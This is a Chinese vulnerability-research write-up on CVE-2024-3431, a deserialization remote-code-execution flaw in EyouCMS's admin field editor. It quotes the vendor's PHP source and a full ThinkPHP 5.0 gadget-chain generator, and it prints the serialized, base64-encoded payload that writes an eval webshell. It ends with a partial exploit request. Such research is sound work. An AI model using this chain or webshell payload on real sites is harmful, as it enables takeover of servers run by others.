CVE-2024-3431 EyouCMS 反序列化漏洞研究分析
2024-7-6 12:36:54 Author: www.freebuf.com(查看原文) 阅读量:15 收藏

易优内容管理系统(EyouCms) 隶属于海口快推科技有限公司,专注中小型企业信息传播解决方案,利用网络传递信息在一定程度上提高了办事的效率,提高企业的竞争力。EyouCms 是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)。以模板多、易优化、开源而闻名,是国内新锐的 PHP 开源网站管理系统,也是最受用户好评的 PHP 类 CMS 系统。

EyouCms版本v.1.5.6在后台组件文件/login.php?m=admin&c=Field&a=channel_edit中,通过channel_id参数进行反序列化,可远程执行命令。

版本要求:<=v1.5..6

EyouCMS 下载地址 https://www.eyoucms.com/rizhi/

情报分析

https://nvd.nist.gov/vuln/detail/CVE-2024-3431

1719567116_667e830cc3299920d2dae.png!small?1719567117148

根据CVE官方提供的信息来看漏洞影响路径是/login.php?m=admin&c=Field&a=channel_edit,且我们拿到了关键的信息,漏洞的类型是反序列化。看到这个路径我们大胆的猜测一下a是不是代表着action-方法,c就是对应的控制器。那么m呢,这个可能是对应的模块。

1719567135_667e831f5fae2e51a738a.png!small?1719567135770

在下方的参考链接中,寻找是否有可用的poc。

1719567146_667e832a0693f4edb92d9.png!small?1719567148870

看来是需要访问权限,后面就没有什么可用的信息了。

源码分析

既然没有poc可用,我们就要分析分析源码了

EyouCMS 下载地址 https://www.eyoucms.com/rizhi/下载版本v1.5.6 顺便在本地部署一下。

1719567159_667e833707aedaf693829.png!small?1719567161805

直接访问页面显示数据不存在。看看源码是怎么回事,是还要传什么参数吗!

漏洞点位于\application\admin\controller\Field.php,下面是channel_edit的源码

/**
* 编辑-模型字段
*/
public function channel_edit()
{
$channel_id = input('param.channel_id/d', 0);
// if (empty($channel_id)) {
//     $this->error('参数有误!');
// }

if (IS_POST) {
if (empty($channel_id)) $this->error("请选择所属模型");

$post = input('post.', '', 'trim');
$post['id'] = intval($post['id']);

if ('checkbox' == $post['old_dtype'] && in_array($post['dtype'], ['radio', 'select'])) {
 $fieldtype_list = model('Field')->getFieldTypeAll('name,title', 'name');
 $this->error("{$fieldtype_list['checkbox']['title']}不能更改为{$fieldtype_list[$post['dtype']]['title']}!");
}

if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {
 $this->error("缺少必填信息!");
}

if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {
 $this->error("字段名称格式不正确!");
} else if (preg_match('/^type/', $post['name'])) {
 $this->error("字段名称不允许以type开头!");
} else if (preg_match('/^ey_/', $post['name'])) {
 $this->error("字段名称不允许以 ey_ 开头!");
}

$info = model('Channelfield')->getInfo($post['id'], 'ifsystem');
if (!empty($info['ifsystem'])) {
 $this->error('系统字段不允许更改!');
}

// 字段类型是否具备筛选功能
if (empty($post['IsScreening_status'])) {
 $post['is_screening'] = 0;
}

$old_name = $post['old_name'];
/*去除中文逗号,过滤左右空格与空值*/
$dfvalue    = str_replace(',', ',', $post['dfvalue']);
if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {
 $pattern    = ['"', '\'', ';', '&', '?', '='];
 $dfvalue    = func_preg_replace($pattern, '', $dfvalue);
}
$dfvalueArr = explode(',', $dfvalue);
foreach ($dfvalueArr as $key => $val) {
 $tmp_val = trim($val);
 if (empty($tmp_val)) {
     unset($dfvalueArr[$key]);
     continue;
}
 $dfvalueArr[$key] = $tmp_val;
}
$dfvalueArr = array_unique($dfvalueArr);
$dfvalue = implode(',', $dfvalueArr);
/*--end*/

if ('region' == $post['dtype']) {
 if (!empty($post['region_data'])) {
     $post['region_data'] = [
         'region_id' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_id']),
         'region_ids' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_ids']),
         'region_names' => preg_replace("/([^\x{4e00}-\x{9fa5}\,\,]+)/u", '', $post['region_data']['region_names']),
    ];
     $post['dfvalue']     = $post['region_data']['region_id'];
     $post['region_data'] = serialize($post['region_data']);
} else {
     $this->error("请选择区域范围!");
}
} else {
 /*默认值必填字段*/
 $fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');
 if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {
     if (empty($dfvalue)) {
         $this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");
    }
}
 /*--end*/
 unset($post['region_data']);
}

/*当前模型对应的数据表*/
$table = Db::name('channeltype')->where('id', $post['channel_id'])->getField('table');
$tableName = $table . '_content';
$table = PREFIX . $tableName;
/*--end*/

/*检测字段是否存在于主表与附加表中*/
if (true == $this->fieldLogic->checkChannelFieldList($table, $post['name'], $channel_id, array($old_name))) {
 $this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");
}
/*--end*/

if (empty($post['typeids'])) {
 $this->error('请选择可见栏目!');
}

/*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/
if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {
 $whereArr = [];
 $dfvalueArr = explode(',', $dfvalue);
 foreach($dfvalueArr as $key => $val){
     $whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";
}
 $whereStr = implode(' AND ', $whereArr);
 if (in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {
     if (!empty($dfvalueArr[0])) {
         $new_dfvalue = $dfvalueArr[0];
         $old_dfvalue_arr = explode(',', $post['old_dfvalue']);
         if (!in_array($new_dfvalue, $old_dfvalue_arr)) {
             $new_dfvalue = NULL;
        }
    } else {
         $new_dfvalue = NULL;
    }
} else {
     $new_dfvalue = '';
}
 Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);
}
/*end*/
if ("checkbox" == $post['dtype']){
 $dfvalue = explode(',', $dfvalue);
 if (64 < count($dfvalue)){
     $dfvalue = array_slice($dfvalue, 0, 64);
}
 $dfvalue = implode(',', $dfvalue);
}
/*组装完整的SQL语句,并执行编辑字段*/
$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);
$ntabsql    = $fieldinfos[0];
$buideType  = $fieldinfos[1];
$maxlength  = $fieldinfos[2];
$sql        = " ALTER TABLE `$table` CHANGE COLUMN `{$old_name}` $ntabsql ";
try {
 $r = @Db::execute($sql);
} catch (\Exception $e) {
 $this->error('该数据类型不支持切换');
}
if (false !== $r) {

 /*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/
 if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {
     $whereArr = [];
     $new_dfvalue = '';
     $dfvalueArr = explode(',', $dfvalue);
     foreach($dfvalueArr as $key => $val){
         if ($key == 0) {
             $new_dfvalue = $val;
        }
         $whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";
    }
     $whereArr[] = "(`{$post['name']}` is NULL OR `{$post['name']}` = '')";
     $whereStr = implode(' AND ', $whereArr);
     Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);
}
 /*end*/

 /*保存更新字段的记录*/
 if (!empty($post['region_data'])) {
     $dfvalue = $post['region_data'];
     unset($post['region_data']);
}
 $newData = array(
     'dfvalue'     => $dfvalue,
     'maxlength'   => $maxlength,
     'define'      => $buideType,
     'update_time' => getTime(),
);
 $data    = array_merge($post, $newData);
 Db::name('channelfield')->where(['id'=>$post['id'],'channel_id'=>$channel_id])->cache(true, null, "channelfield")->save($data);
 /*--end*/

 /*保存栏目与字段绑定的记录*/
 $field_id = $post['id'];
 model('ChannelfieldBind')->where(['field_id' => $field_id])->delete();
 $typeids = $post['typeids'];
 if (!empty($typeids)) {
     /*多语言*/
     if (is_language()) {
         $attr_name_arr = [];
         foreach ($typeids as $key => $val) {
             $attr_name_arr[] = 'tid' . $val;
        }
         $new_typeid_arr = Db::name('language_attr')->where([
             'attr_name'  => ['IN', $attr_name_arr],
             'attr_group' => 'arctype',
        ])->column('attr_value');
         !empty($new_typeid_arr) && $typeids = $new_typeid_arr;
    }
     /*--end*/
     $addData = [];
     foreach ($typeids as $key => $val) {
         if (1 < count($typeids) && empty($val)) {
             continue;
        }
         $addData[] = [
             'typeid'      => $val,
             'field_id'    => $field_id,
             'add_time'    => getTime(),
             'update_time' => getTime(),
        ];
    }
     !empty($addData) && model('ChannelfieldBind')->saveAll($addData);
}
 /*--end*/

 /*重新生成数据表字段缓存文件*/
 try {
     schemaTable($table);
} catch (\Exception $e) {}
 /*--end*/

 $this->success("操作成功!", url('Field/channel_index', array('channel_id' => $post['channel_id'])));
} else {
 $sql = " ALTER TABLE `$table` ADD  $ntabsql ";
 if (false === Db::execute($sql)) {
     $this->error('操作失败!');
}
}
}

$id   = input('param.id/d', 0);
$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);
if (empty($info)) {
$this->error('数据不存在,请联系管理员!');
exit;
}
...

在675行的确有序列化的操作。

1719567205_667e83655ff3c8e719354.png!small?1719567205837

漏洞研究

那么我们的思路就很明显了

1,查看$info['dfvalue']是否为可控变量

2,在本系统中找到一条可以反序列化的链

反序列化链分析

先考虑下我们的反序列化链。

思路:可以尝试挖掘一下本系统的链...。[挖掘链子还是很费功夫的...]

看了介绍这是一个基于thinkphp二次开发的系统且thinkphp的版本是5.0,那么我们的思路就来了

1719567244_667e838c16097c842496f.png!small?1719567245042

在之前的文章中,我介绍了ThinkPHP5.0.0~5.0.23的一条反序列化利用链,其中还涉及到了死亡绕过的技巧。这次我们就可以用上了

https://blog.csdn.net/shelter1234567/article/details/135862876

生成链的payload

<?php
namespace think\process\pipes {
class Windows {
private $files = [];//创建windows对象 让属性files存储Pivot对象($Output,$HasOne)

public function __construct($files)
{
 $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
 $this->parent = $output;  //$this->parent=> think\console\Output;
 $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
 $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
 parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
 $this->selfRelation = 0;
 $this->query = $query;    //$query指向Query
 $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
 $this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
 $this->styles = ['getAttr'];
 $this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
 $this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
 $this->options=[
     'expire' => 3600,
     'cache_subdir' => false,
     'prefix' => '',
     'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
     'data_compress' => false,
];
 $this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo "<br>";
echo base64_encode(serialize($window));
}

生成结果

O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}}
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=

先用payload在本地测试一下

$a="TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=";
echo unserialize(base64_decode($a));

1719567280_667e83b05f100a1abff12.png!small?1719567280788

程序运行不久后生成了我们的木马文件

1719567289_667e83b97e0c6ab2c8db1.png!small?1719567289908

这证明了我们的链子是可以被利用的!

参数可控分析1

那么接下来就是要考虑$info['dfvalue']是否可控的问题了!可控就代表着该系统的确存在一条反序列化RCE的漏洞。

思路:

1,源码看起

2,黑盒测试+断点调试 通过不断的提交数据反复对比,看看前端功能页面的那个参数对应了这个字段,

3,翻官方提供的开发手册(如果有的话)

开始审代码咯。(下面是简约版,不影响的代码都删除了。//-- 是我写的注释信息可供参考)

public function channel_edit()
{

$channel_id = input('param.channel_id/d', 0);
// if (empty($channel_id)) {
//     $this->error('参数有误!');
// }

//--不是POST这段代码直接省略

$id   = input('param.id/d', 0);
$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);//--这段涉及数据库查询
if (empty($info)) {
 $this->error('数据不存在,请联系管理员!');//--查询后的数据不能为空
 exit;
}
if (!empty($info['ifsystem'])) {//--查询后的数据字段ifsystem要为0
 $this->error('系统字段不允许更改!');
}

//--这些都不不影响

if ('region' == $info['dtype']) {//-- 查询后的数据字段dtype要为'region'
 // 反序列化默认值参数
 $dfvalue = unserialize($info['dfvalue']);

方法channel_edit中的unserialize数据$info['dtype']来源涉及到数据库查询,查询的条件是$channel_id与$id。这两个是参数是用户可以输入的。

参考一下channel_id表结构...

1719567318_667e83d601b44fcce8597.png!small?1719567318464

通过源码来看若想实现的我们的反序列化数据执行,我们要考虑下面这几件事。

1,输入的$channel_id $id 是这张表的查询条件,

2,查询后的数据不能为空

3,查询后的数据字段ifsystem要为0

4,查询后的数据字段dtype要为'region'

5,要让返回dfvalue成为序列化数据

看看能否通过用户输入数据来影响这张表,或者sql注入也是可以考虑的。

参数可控分析2

那么接下来的思路:在源码中找寻调用此表的更新操作,看看能否更新dfvalue。

1719567329_667e83e1ed8a92cc77448.png!small?1719567330378

在同类的方法中arctype_add中,我们找到了疑似表channelfield的更新操作

开始代码审计咯(这里是源码-未动)

/**
* 新增-栏目字段
*/
public function arctype_add()
{
$channel_id = $this->arctype_channel_id;
if (empty($channel_id)) {
$this->error('参数有误!');
}

if (IS_POST) {
$post = input('post.', '', 'trim');

if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {
 $this->error("缺少必填信息!");
}

if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {
 $this->error("字段名称格式不正确!");
} else if (preg_match('/^ey_/', $post['name'])) {
 $this->error("字段名称不允许以 ey_ 开头!");
}

/*去除中文逗号,过滤左右空格与空值*/
$dfvalue    = str_replace(',', ',', $post['dfvalue']);
if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {
 $pattern    = ['"', '\'', ';', '&', '?', '='];
 $dfvalue    = func_preg_replace($pattern, '', $dfvalue);
}
$dfvalueArr = explode(',', $dfvalue);
foreach ($dfvalueArr as $key => $val) {
 $tmp_val = trim($val);
 if (empty($tmp_val)) {
     unset($dfvalueArr[$key]);
     continue;
}
 $dfvalueArr[$key] = $tmp_val;
}
$dfvalueArr = array_unique($dfvalueArr);
$dfvalue = implode(',', $dfvalueArr);
/*--end*/

/*默认值必填字段*/
$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');
if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {
 if (empty($dfvalue)) {
     $this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");
}
}
/*--end*/

/*栏目对应的单页表*/
$tableExt = PREFIX . 'single_content';
/*--end*/

/*检测字段是否存在于主表与附加表中*/
if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {
 $this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");
}
/*--end*/
if ("checkbox" == $post['dtype']){
 $dfvalue = explode(',', $dfvalue);
 if (64 < count($dfvalue)){
     $dfvalue = array_slice($dfvalue, 0, 64);
}
 $dfvalue = implode(',', $dfvalue);
}
/*组装完整的SQL语句,并执行新增字段*/
$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);
$ntabsql    = $fieldinfos[0];
$buideType  = $fieldinfos[1];
$maxlength  = $fieldinfos[2];
$table      = PREFIX . 'arctype';
$sql        = " ALTER TABLE `$table` ADD  $ntabsql ";
if (false !== Db::execute($sql)) {
 /*保存新增字段的记录*/
 $newData = array(
     'dfvalue'     => $dfvalue,
     'maxlength'   => $maxlength,
     'define'      => $buideType,
     'ifmain'      => 1,
     'ifsystem'    => 0,
     'sort_order'  => 100,
     'add_time'    => getTime(),
     'update_time' => getTime(),
);
 $data    = array_merge($post, $newData);
 $field_id = Db::name('channelfield')->insertGetId($data);
 /*--end*/

 /*保存栏目与字段绑定的记录*/
 $typeids = $post['typeids'];
 if (!empty($typeids)) {
     /*多语言*/
     if (is_language()) {
         $attr_name_arr = [];
         foreach ($typeids as $key => $val) {
             $attr_name_arr[] = 'tid' . $val;
        }
         $new_typeid_arr = Db::name('language_attr')->where([
             'attr_name' => ['IN', $attr_name_arr],
             'attr_group' => 'arctype',
        ])->column('attr_value');
         !empty($new_typeid_arr) && $typeids = $new_typeid_arr;
    }
     /*--end*/
     $addData = [];
     foreach ($typeids as $key => $val) {
         if (1 < count($typeids) && empty($val)) {
             continue;
        }
         $addData[] = [
             'typeid' => $val,
             'field_id' => $field_id,
             'add_time' => getTime(),
             'update_time' => getTime(),
        ];
    }
     !empty($addData) && model('ChannelfieldBind')->saveAll($addData);
}

 /*重新生成数据表字段缓存文件*/
 try {
     schemaTable($table);
} catch (\Exception $e) {}
 /*--end*/

 \think\Cache::clear('channelfield');
 \think\Cache::clear("arctype");
 $this->success("操作成功!", url('Field/arctype_index'));
}
$this->error('操作失败');
}

/*字段类型列表*/
$fieldtype_list = [];
$fieldtype_list_tmp = model('Field')->getFieldTypeAll('name,title,ifoption');
foreach ($fieldtype_list_tmp as $key => $val) {
if (!in_array($val['name'], ['file','media','region'])) {
 $fieldtype_list[] = $val;
}
}
$assign_data['fieldtype_list'] = $fieldtype_list;
/*--end*/

/*模型ID*/
$assign_data['channel_id'] = $channel_id;
/*--end*/

/*允许编辑的栏目*/
$allow_release_channel = Db::name('channeltype')->column('id');
$select_html = allow_release_arctype(0, $allow_release_channel);
$this->assign('select_html', $select_html);
/*--end*/

$this->assign($assign_data);
return $this->fetch();
}

下面的我写的说明注释版//-- 为我写的注释

/**
* 新增-栏目字段
*/
public function arctype_add()
{
$channel_id = $this->arctype_channel_id;
if (empty($channel_id)) {
 $this->error('参数有误!');
}

if (IS_POST) {//--我们进入POST代码
 $post = input('post.', '', 'trim');

 if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {
     $this->error("缺少必填信息!");
}//--这几个字段都要输入 dtype=xx&title=xx&name=xxx

 if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {
     $this->error("字段名称格式不正确!");
} else if (preg_match('/^ey_/', $post['name'])) {
     $this->error("字段名称不允许以 ey_ 开头!");
}//--判断name是否合法 我们直接user就可以了

 /*去除中文逗号,过滤左右空格与空值*/
 $dfvalue    = str_replace(',', ',', $post['dfvalue']);
 if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {
     $pattern    = ['"', '\'', ';', '&', '?', '='];
     $dfvalue    = func_preg_replace($pattern, '', $dfvalue);
}
 $dfvalueArr = explode(',', $dfvalue);//--不影响我们的dfvalue
 foreach ($dfvalueArr as $key => $val) {//--不看
     $tmp_val = trim($val);
     if (empty($tmp_val)) {
         unset($dfvalueArr[$key]);
         continue;
    }
     $dfvalueArr[$key] = $tmp_val;
}
 $dfvalueArr = array_unique($dfvalueArr);
 $dfvalue = implode(',', $dfvalueArr);//-- 不影响$dfvalue
 /*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}
 /*默认值必填字段*/
 $fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');//-- 这里可以参考一下数据库
 if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {//当字段ifoption 为1时$dfvalue 这就是我们需要的
     if (empty($dfvalue)) {
         $this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");
    }
}
 /*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}
 /*栏目对应的单页表*/
 $tableExt = PREFIX . 'single_content';
 /*--end*/

 /*检测字段是否存在于主表与附加表中*/
 if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {
     $this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");
}
 /*--end*/
 if ("checkbox" == $post['dtype']){//--不看
     $dfvalue = explode(',', $dfvalue);
     if (64 < count($dfvalue)){
         $dfvalue = array_slice($dfvalue, 0, 64);
    }
     $dfvalue = implode(',', $dfvalue);
}
 /*组装完整的SQL语句,并执行新增字段*/
 $fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);
 $ntabsql    = $fieldinfos[0];
 $buideType  = $fieldinfos[1];
 $maxlength  = $fieldinfos[2];
 $table      = PREFIX . 'arctype';
 $sql        = " ALTER TABLE `$table` ADD  $ntabsql ";
 if (false !== Db::execute($sql)) {//-- 要先使这个sql执行没有错误
     /*保存新增字段的记录*/
     $newData = array(
         'dfvalue'     => $dfvalue,
         'maxlength'   => $maxlength,
         'define'      => $buideType,
         'ifmain'      => 1,
         'ifsystem'    => 0,
         'sort_order'  => 100,
         'add_time'    => getTime(),
         'update_time' => getTime(),
    );
     $data    = array_merge($post, $newData);
     $field_id = Db::name('channelfield')->insertGetId($data);//--我们的想要的执行的语句

总结上面的

1719567367_667e84076c457e10e7d85.png!small?1719567367924

1719567375_667e840f36905564343e7.png!small?1719567375744

我们需要POST传参type,title,name,dfvalue考虑到我们的目的,

我们要传的参数数据 type=region&title=xxx&name=xxx&$dfvalue={{序列化数据}}

1719567391_667e841f5555e0801af4d.png!small?1719567391654

951会对dype做一次校验,

得到所有类型后,判断你输入的dtype是都在fieldtye_list中其次判断先对应的ifoption要为1

跟入getFieldTypeALL

1719567405_667e842dc9f6fe7361078.png!small?1719567406220

注意返回的数据会被convert_arr_key转为二维数组

参考下数据库1719567416_667e84387d19fcf5e355f.png!small?1719567417681

dtype=要为上面的字段name其中的一种,而region就在其中,且ifoption是为1的。

漏洞测试与研究
数据打入

好了!现在准备开始打入数据了

POST /EyouCMS-V1.6.5-UTF8-SP1/login.php?m=admin&c=Field&a=arctype_add HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=r7v9r023ssq6au54hrr8jj44kl; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; admin-treeClicked-Arr=%5B%5D; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=welcome%7CIndex; XDEBUG_SESSION=16574
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 855

